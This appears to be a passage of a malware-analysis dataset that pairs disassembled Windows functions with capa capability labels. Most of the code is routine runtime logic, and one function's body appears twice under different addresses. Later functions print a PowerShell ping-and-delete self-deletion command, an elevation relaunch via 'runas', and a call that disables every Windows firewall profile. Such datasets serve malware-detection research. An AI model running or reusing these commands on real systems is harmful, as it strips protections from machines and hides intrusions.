joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011910
Capabilities:
Write file on windows

Disassembly:
jmp 0x140018010
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x14002d040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1400340f5]
call fcn.14001192e
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x140018077
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001807e
mov al, 1
jmp 0x1400181ce
call fcn.14001127b
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.14001127b
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.140011744
movzx eax, al
test eax, eax
je 0x1400180cf
xor al, al
jmp 0x1400181ce
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x140018134
cmp dword [rbp + 0x154], 1
je 0x14001813f
cmp dword [rbp + 0x154], 3
je 0x1400181bd
jmp 0x1400181cc
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001818f
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001818f
xor al, al
jmp 0x1400181ce
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400181aa
mov dword [rbp + 0x154], 1
jmp 0x1400181b4
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x1400181ce
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1400181ce
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140027c40]
call fcn.14001179e
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140011456
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x14001d560
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011988
movzx eax, al
test eax, eax
jne 0x14001d580
mov ecx, 7
call fcn.1400117b2
nop
mov byte [rsp + 0x20], 0
call fcn.1400117f3
mov byte [rsp + 0x21], al
cmp dword [0x14002d730], 1
jne 0x14001d5a4
mov ecx, 7
call fcn.1400117b2
nop
jmp 0x14001d5fc
cmp dword [0x14002d730], 0
jne 0x14001d5f7
mov dword [0x14002d730], 1
lea rdx, [0x140026770]
lea rcx, [0x140026440]
call fcn.140011429
test eax, eax
je 0x14001d5d8
mov eax, 0xff
jmp 0x14001d701
lea rdx, [0x140026330]
lea rcx, [section..rdata]
call fcn.1400117df
mov dword [0x14002d730], 2
jmp 0x14001d5fc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001178f
call fcn.1400116a9
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x14001d659
mov rcx, qword [rsp + 0x30]
call fcn.140011361
movzx eax, al
test eax, eax
je 0x14001d659
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140035020]
nop
call fcn.140011717
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001d68d
mov rcx, qword [rsp + 0x38]
call fcn.140011361
movzx eax, al
test eax, eax
je 0x14001d68d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400118e8
nop
call fcn.14001d7b0
mov dword [rsp + 0x28], eax
call fcn.140011672
movzx eax, al
test eax, eax
jne 0x14001d6ac
mov ecx, dword [rsp + 0x28]
call fcn.1400110aa
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001d6bb
call fcn.1400118fc
nop
xor edx, edx
mov cl, 1
call fcn.140011325
mov eax, dword [rsp + 0x28]
jmp 0x14001d701
add rsp, 0x68
ret
Function at 0x140003c90
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x280
mov rax, qword [0x1400260c0]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003cdb
mov rcx, rbx
call fcn.140004480
xor eax, eax
jmp 0x140003db5
mov qword [rsp + 0x298], rbp
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x2a0], rdi
mov rcx, rsi
xor edi, edi
mov dword [rsp + 0x30], 0x238
mov ebp, edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x140003d20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140004480
xor eax, eax
jmp 0x140003da5
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x2a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140003d81
cmp qword [rbx + 0x18], 7
mov rcx, rbx
jbe 0x140003d44
mov rcx, qword [rbx]
lea rdx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x140003d81
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x2a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140003d81
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x4c]
cmp eax, edi
jbe 0x140003d81
mov ebp, dword [rsp + 0x38]
mov edi, eax
lea rdx, [rsp + 0x30]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140003d20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140004480
mov eax, ebp
mov rbp, qword [rsp + 0x298]
mov rdi, qword [rsp + 0x2a0]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400057f0
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x280
pop rsi
ret

Function at 0x140004a30
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [0x1400260c0]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor ecx, ecx
lea rdx, [rsp + 0x30]
xor r9d, r9d
mov r8d, 0x1a
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], 0
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004a90
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400010d0
mov rax, rbx
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400057f0
add rsp, 0x150
pop rbx
ret
Function at 0x140004de0
Capabilities:
Create process on windows
Read file on windows
Self delete

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x1400260c0]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r14, rdx
mov rsi, rcx
mov qword [rbp - 0x68], rcx
mov qword [rbp - 0x60], rdx
call fcn.14000b594
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [rsp + 0x78]
call fcn.1400023d0
nop
lea rcx, [rsp + 0x58]
call fcn.140004730
nop
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.140003800
nop
lea rdx, [rbp - 0x58]
mov rcx, rax
call fcn.140004ff0
mov rcx, rax
call fcn.140004720
mov rcx, rax
lea rdx, [0x140019b68]
call fcn.14000bb28
mov rbx, rax
lea rcx, [rbp - 0x58]
call fcn.1400036f0
nop
lea rcx, [rsp + 0x38]
call fcn.140003750
nop
lea rcx, [rsp + 0x58]
call fcn.140003750
nop
lea rcx, [rsp + 0x78]
call fcn.140003750
mov rcx, rsi
call fcn.140004720
mov rcx, rax
lea rdx, [0x140019b6c]
call fcn.14000bb28
mov rdi, rax
mov r9, rbx
mov edx, 1
mov r8d, 0x200
lea rcx, [rbp + 0x10]
call fcn.14000bd94
test rax, rax
je 0x140004f10
nop word [rax + rax]
mov r9, rdi
mov r8, rax
mov edx, 1
lea rcx, [rbp + 0x10]
call fcn.14000c1cc
mov r9, rbx
mov edx, 1
mov r8d, 0x200
lea rcx, [rbp + 0x10]
call fcn.14000bd94
test rax, rax
jne 0x140004ee0
mov rcx, rbx
call fcn.14000b9d4
mov rcx, rdi
call fcn.14000b9d4
lea rcx, [rsp + 0x20]
call fcn.1400030a0
mov rdi, rax
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.140004900
mov rbx, qword [rax]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140004700
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x58]
call fcn.1400023f0
nop
call fcn.14000b594
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [rsp + 0x38]
call fcn.1400023d0
nop
lea rdx, [rsp + 0x58]
mov rcx, rax
call fcn.140004980
nop
lea rdx, [rbp - 0x38]
mov rcx, rax
call fcn.140004ff0
nop
lea rcx, [rsp + 0x58]
call fcn.140003750
nop
lea rcx, [rsp + 0x38]
call fcn.140003750
mov rcx, r14
call fcn.140004720
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea r8, [rbp - 0x38]
lea rdx, str.powershell_ping_127.0.0.1__del
lea rcx, [rbp - 0x18]
call fcn.140002510
lea rcx, [rbp - 0x18]
call fcn.140004720
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
xor ecx, ecx
call fcn.14000b8a4
int3

Function at 0x1400053ec
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140005426
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14000542b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140005474
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140019c30]
cmp byte [rcx + rax], 0
je 0x140005474
dec r8
sub rdx, 1
jne 0x14000545a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140006030
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000607a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000607a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000607a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000607a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000607a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000607c
xor al, al
add rsp, 0x28
ret

Function at 0x14000b6a0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000b70f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b70f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b70f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b70f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b70f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b70f
cmp dword [rcx + 0xf8], 0
je 0x14000b70f
mov ecx, ebx
call fcn.14000b7c0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000b59c
nop
cmp dword [rbp + 0x20], 0
je 0x14000b75d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000b768
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000b6a0

Function at 0x14000b8a4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000b70f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000b70f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000b70f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000b70f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000b70f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000b70f
cmp dword [rcx + 0xf8], 0
je 0x14000b70f
mov ecx, ebx
call fcn.14000b7c0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000b59c
nop
cmp dword [rbp + 0x20], 0
je 0x14000b75d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000b768
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000b6a0
Function at 0x14000ec90
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140027bb0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14000ece7
cmp word [rdx], r13w
jne 0x14000ece7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14000ecec
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14000ee11
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14000ee32
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14000ed25
mov rdx, r9
mov word [rbx], cx
jmp 0x14000ed4c
cmp r9, r8
jae 0x14000ed5c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14000ed06
jmp 0x14000ee11
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000ee06
cmp dword [rsp + 0x80], esi
je 0x14000ee06
lea r8, [0x140027bb0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14000edde
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14000edae
mov word [rbx], r13w
jmp 0x14000ee0e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14000edbb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14000ee0e
cmp word [rsp + 0x70], r13w
jne 0x14000edeb
cmp rbx, r14
je 0x14000eda8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140015568
cmp word [rsp + 0x70], r13w
je 0x14000ee11
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140027bb0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14000ee0b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14000ee11
Function at 0x1400105b0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400105c6
mov al, 1
jmp 0x140010626
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400105d7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140010624
mov ecx, dword [rcx + 0x18]
nop
call fcn.140013b18
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140010624
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140010624
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140010624
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140010626
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140012cb0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140012ce0
xor eax, eax
jmp 0x140012da3
mov rbp, rbx
cmp word [rax], si
je 0x140012d05
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140012cec
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140012ce8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140012bd0
movsxd r14, eax
test eax, eax
jne 0x140012d43
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140012cd9
mov rcx, r14
call fcn.1400112a8
mov rdi, rax
test rax, rax
jne 0x140012d5c
xor ecx, ecx
call fcn.14000df94
jmp 0x140012d38
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140012bd0
test eax, eax
jne 0x140012d8d
mov rcx, rdi
call fcn.14000df94
jmp 0x140012d97
xor ecx, ecx
call fcn.14000df94
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400164d0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140015568
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140015568
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140016620
cmp rax, 0xffffffffffffffff
je 0x140016620
xor edi, edi
test rbp, rbp
jle 0x1400165cb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001084c
mov rbx, rax
test rax, rax
jne 0x140016558
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400165c1
mov edx, 0x8000
mov ecx, r14d
call fcn.14000d2a0
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400101b0
cmp eax, 0xffffffff
je 0x1400165a1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140016568
mov edx, r15d
mov ecx, r14d
call fcn.14000d2a0
jmp 0x1400165c1
cmp byte [rsi + 0x38], dil
je 0x1400165b8
cmp dword [rsi + 0x34], 5
jne 0x1400165b8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400165c1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14000df94
jmp 0x140016634
jns 0x140016634
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140015568
cmp rax, 0xffffffffffffffff
jne 0x1400165ec
cmp byte [rsi + 0x30], dil
je 0x140016634
mov edi, dword [rsi + 0x2c]
jmp 0x140016634
mov ecx, r14d
call fcn.140013b18
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140016634
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140016634
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14001662d
mov eax, dword [rsi + 0x2c]
jmp 0x140016632
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140015568
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400177f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140017818
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140017818
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14007d760]
mov rcx, qword [0x14007d700]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x14007d770]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x14007d780]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x14007d750]
mov dword [0x1400a300c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14007d840]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14007d820]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14007cc20]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001360
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 4], 0
mov dword [rbp - 0x16], 0
mov word [rbp - 0x12], 0x500
lea rax, [rbp - 0x16]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
setne al
test al, al
je 0x14000140b
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 4]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov eax, dword [rbp - 4]
test eax, eax
setne al
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x140001419
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
call sym.IsRunningAsAdmin__
xor eax, 1
test al, al
je 0x140001490
lea rax, [rbp - 0x50]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call rax
lea rax, [rbp - 0x50]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteW]
call rax
mov ecx, 0
call sym.exit
nop
add rsp, 0x240
pop rbp
ret

Function at 0x14000149a
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.netsh_advfirewall_set_allprofiles_state_off
mov rcx, rax
call sym.system
nop
add rsp, 0x20
pop rbp
ret